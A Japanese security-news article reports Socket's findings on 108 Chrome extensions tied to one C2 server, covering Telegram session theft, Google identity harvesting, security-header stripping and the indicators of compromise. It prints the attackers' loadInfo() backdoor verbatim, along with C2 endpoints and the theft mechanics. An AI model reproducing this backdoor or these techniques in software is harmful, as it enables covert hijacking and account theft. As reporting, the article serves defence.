Chrome拡張108本がC2共有、Telegram乗っ取りも
Chromeウェブストアに並ぶ108本の拡張機能が、同一のC2サーバーに接続する一大マルウェアネットワークを形成していた。15秒ごとにTelegramセッションを盗む拡張まで含まれている。
20万人ではない、2万人でもない「2万人」の静かな被害
セキュリティ企業Socketの調査チームが発表した報告は、数字だけ見ると地味だ。Chromeウェブストアに並ぶ108本の拡張機能が、すべて同じ指令サーバー「cloudapi[.]stream」に接続していた。合計インストール数はおよそ2万件。派手ではない。だがこの「派手ではなさ」こそが、今回の作戦のしたたかさを物語っている。
5つの出版社名義(Yana Project、GameGen、SideGames、Rodeo Games、InterAlt)で拡張が登録され、外見上は無関係のゲームやユーティリティとして散らばっていた。小さな拡張の群れが、裏側では単一のインフラに吸い込まれていた、という構図だ。
Socketはすでにテイクダウン申請を出しているが、記事公開時点で拡張群はまだ生きている。
15秒ごとに盗まれるTelegramセッション
今回の作戦で最も悪質なのが「Telegram Multi-account」という拡張だ。拡張IDは obifanppcpchlehkjipahhphbcbjekfa。名前の通りTelegramのサイドバークライアントとして機能するが、その裏で何をしているか。
web.telegram.orgが開かれた瞬間、content.js がページの localStorage をまるごとシリアライズし、Telegram Webが認証に使う user_auth トークンを抜き取る。そしてバックグラウンドスクリプト経由で tg[.]cloudapi[.]stream/save_session.php にPOSTする。一度だけではない。タブが開いている間、15秒おきに永久に送り続ける。
セッショントークンを奪えるということは、パスワードも2要素認証コードも知らなくてよい、ということだ。Telegramアカウントの中身は、奪った側から見れば鍵の開いた部屋になる。
さらに厄介なのはその逆方向の機能だ。C2サーバーから set_session_changed というメッセージが飛んでくると、拡張は被害者のlocalStorageを消し、攻撃者が用意したセッションデータで上書きし、Telegramを強制リロードする。つまり、被害者のブラウザを攻撃者の好きなTelegramアカウントに「すり替える」ことができる。被害者は気づかない。
Telegram系の拡張群のインストール数は約3,035件。その全員が、タブを開いている間ずっとセッションを中継していた可能性がある。
Googleログインボタンを押した瞬間に始まる身元収集
108本のうち54本には、まったく同じコードが埋め込まれていた。ユーザーが初めて拡張内のGoogleサインインボタンを押した瞬間、以下の手順が走る。
chrome.identity.getAuthToken でGoogle OAuth2のBearerトークンを取得し、そのトークンで googleapis.com/oauth2/v3/userinfo を叩き、返ってきたメールアドレス・氏名・プロフィール画像URL・sub フィールドを mines[.]cloudapi[.]stream/auth_google に送信する。
ここでSocketが冷静に指摘しているのは、OAuthトークン自体はブラウザの外に出ていない、という点だ。奪われるのは「身元の記録」だけ。だから一見すると被害は小さく見える。しかし、sub はGoogleアカウントの永続IDであり、ユーザーがパスワードを変えようがメールアドレスを変えようが変化しない。
つまりこれは「Googleアカウントを乗っ取る攻撃」ではなく、「二度と消えない名札を静かに貼って回る攻撃」だ。被害者は自分の身元を特定のMaaSプラットフォームに永久登録させられたに等しい。
54本の拡張が使っていたOAuth2クライアントIDは、たった2つのGoogle Cloudプロジェクト番号に収束した。56個の固有クライアントIDがすべて同じ2つのプロジェクト根に紐づいていたという事実は、5つの異なる出版社名義が単一オペレーターのものだと示す、反論の余地のない物証だ。
45本に仕込まれた「起動時バックドア」
もっとも不気味な機能は loadInfo() と名付けられた関数だ。45本の拡張のバックグラウンドスクリプトに、一字一句同じコードが存在していた。
async function loadInfo() {
const response = await fetch("https://mines[.]cloudapi[.]stream/user_info", {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ type: 'background', ext: chrome.runtime.id })
});
const result = await response.json();
if (result && result.success && result.infoURL) {
chrome.tabs.create({ url: result.infoURL });
}
}
これはChromeが起動するたびにC2へ拡張IDを通知し、返ってきたURLを黙って新しいタブで開く仕組みだ。開くURLに制限はない。フィッシングページでも、ドライブバイダウンロード配布ページでも、広告詐欺の中継地点でも、なんでもよい。
Socketが注目したのは、Page LockerとPage Auto Refreshという2本の拡張では、loadInfo() 関数だけが周囲のミニファイされたコードから浮いていた、という点だ。周りが圧縮された1行コードなのに、この関数だけ async/await を使ったきれいな書き方で存在している。コードの「筆跡」が違う。後から注入された、と見るのが自然だ。
考えられる筋書きはこうだ。攻撃者はまず既存の、それなりに動いている拡張を買収するか権限を奪い、そこに自分のバックドアを一行追加する。ユーザーから見れば昨日まで普通に使えていた拡張が、ある日を境に起動のたびに未知のサーバーへ挨拶を送り続ける存在に変わる。中古拡張の武装化、とでも呼ぶべき手口だ。この現象が業界全体でどれだけ広がっているかは、誰も数えていない。
ゲーム拡張78本に仕込まれたinnerHTML注入口
同じ user_info エンドポイントは、別の使い道も持っていた。今回見つかったゲーム・カジノ系拡張78本には userpage.js というファイルが共通して埋め込まれており、その中では、C2から返ってきた result.rating と result.protxt をサニタイズせずに innerHTML に直接代入していた。
前者はリーダーボード、後者はPro版の購入案内枠を埋めるためのフィールドだが、どちらもサーバーが自由にHTMLを送り込める。スクリプトタグを含む任意コードを、いつでも拡張UI上で実行できるということだ。
バックドアが新しいタブを開くのに対し、こちらは拡張自身の画面を攻撃者が書き換える別経路になる。2系統を同時に保有していた事実から、この作戦の設計が行き当たりばったりではなく、長期運用を前提に組まれていたことがわかる。
declarativeNetRequestによるセキュリティヘッダー剥ぎ取り
5本の拡張はもう一段踏み込んでいる。Chromeの declarativeNetRequest APIを使い、ターゲットサイトから Content-Security-Policy、X-Frame-Options、Content-Security-Policy-Report-Only のヘッダーを根こそぎ削除し、Access-Control-Allow-Origin を * に書き換え、User-Agent・Origin・Refererまで偽装してそのサイト自身になりすます。
対象はTelegram Web、YouTube、TikTok。ブラウザの標準セキュリティ機構を拡張の権限で無力化するやり口で、これが審査を通過してウェブストアに並んでいた事実は、拡張審査の限界を浮き彫りにしている。
TikTok狙いの拡張にはさらに追加の仕掛けがあった。あらゆるURLでWebSocket通信を無制限に許可するルールを加え、ネットワークレベルの制約を取り払っている。さらに全てのTikTokページに外部サーバーからの画像とリンクを挿入する。
翻訳拡張が吸い上げていた「入力テキストそのもの」
「Text Translation」という拡張は、一見すると普通の翻訳サイドバーだ。しかし登録時にメールアドレスと氏名を api[.]cloudapi[.]stream:8443/Register に送り、以降すべての翻訳リクエストは攻撃者のサーバーを経由する。ユーザーが翻訳に投げ込んだテキストそのものが、一字残らずC2側に記録される設計だ。
この拡張は sidePanel 権限しか要求しないため、インストール時にChromeが出す権限警告はほぼ無害に見える。権限警告の軽さは、もはや安全の指標にならない。
攻撃者像──ロシア語コメントとウクライナの登記
C2サーバーは 144[.]126[.]135[.]238(Contabo GmbHのVPS)にホストされ、ドメイン cloudapi[.]stream は2022年4月30日にHosting Ukraine LLC経由で登録されていた。認証コードやセッション窃取コードの中には「userId ne najden(userId not found)」「Proverka na uzhe avtorizovannogo pol'zovatelya(すでに認証済みユーザーのチェック)」といったロシア語のコメントがそのまま残っている。
登録されていた開発者メールアドレスのうち3つは、「nadejdin」「nadiezhdin」という同じ苗字のローマ字表記違いを含んでいた。kiev で始まるgmailアドレスも複数存在する。Socketはこれらを慎重に「同一作者による複数拡張の証拠」として扱っているが、地理的な手がかりは十分すぎるほど残っている。
決定打は前述の通り、56個のOAuth2クライアントIDがたった2つのGoogle Cloudプロジェクト番号に収束したことだ。出版社名を5つに分けて偽装してもクライアントIDの根は隠せなかった。
topup[.]cloudapi[.]stream というサブドメインは現在、「RODEO GAMES STUDIO」という架空のスタジオの紹介ページとして機能しており、"well-thought-out monetization"(よく練られた収益化)という言葉で拡張ビジネスを誇らしげに説明している。作戦全体が商品として販売されていたこと、つまりMalware-as-a-Serviceだったという見立てを裏付ける一行だ。今日やるべきこと
もし自分のChromeに上記のうちどれかが入っていたら、削除するだけでは足りない。Socketの推奨はこうだ。
Telegram Multi-accountを入れたままTelegram Webに入ったことがあるなら、モバイル版Telegramの「設定 > デバイス > 他のセッションをすべて終了」でいま開いているセッションを全部切る。スロットやサイドバー拡張でGoogleサインインを一度でも押したなら、自分のGoogleアカウントページ(myaccount.google.com/permissions)を開き、見覚えのないアプリのアクセス権を取り消す。Text Translationに登録した覚えがあるなら、そのメールアドレスと名前はすでに攻撃者のデータベースにある前提で動いたほうがいい。
ネットワーク管理者は cloudapi[.]stream とそのすべてのサブドメイン、および top[.]rodeo をブロックリストに入れるのが最低ラインとなる。
拡張エコシステムの根っこにある問題
2万インストールは、Chromeウェブストアの規模からすれば目立たない数字だ。だが今回の作戦の本質は規模ではなく、「5つの名義」「108個の拡張」「同一のバックエンド」という構造にある。審査プロセスは個々の拡張を見るが、拡張群の裏側のインフラを横断的に追跡する仕組みは存在しない。だから同じサーバーに接続する108個が審査を通過できた。
拡張を買い取って悪意を後付けするビジネスモデルの痕跡、MaaSとしてアクセスを売買する前提の管理画面、残されたロシア語コメント、2万規模の静かな被害。今回発見されたものは氷山の一角だと言うのは簡単だが、その言葉が陳腐に聞こえるほど、同じ構図の調査報告はこの数年ずっと出続けている。
ブラウザ拡張は、OSに近い権限を持ちながら、インストールはワンクリックで済む。この非対称性が続く限り、同じ種類の事件は半年ごとに名前を変えて戻ってくる。
参照元
関連記事
- Booking.comが予約データ漏洩を認める、規模は伏せたまま
- Windows 11 24H2偽更新サイト、検出ゼロのマルウェア配布
- CPU-Z・HWMonitor、公式サイトからマルウェア配布
- Axiosを侵した「偽の会議」――北朝鮮ハッカーの手口
- GitHub偽VS Codeアラートが拡散、開発者を標的に
- 量子計算機がビットコイン暗号を破る日、想定より早く来る
- Mythos配布から外された欧州、AI主権の空白が露呈する
- Googleが「戻るボタン乗っ取り」を規約違反に——6月15日が期限
- セキュリティツールが武器に変わる日——TrivyとAxiosに何が起きたか
- Adobe Readerゼロデイ、4か月潜伏とCVSS降格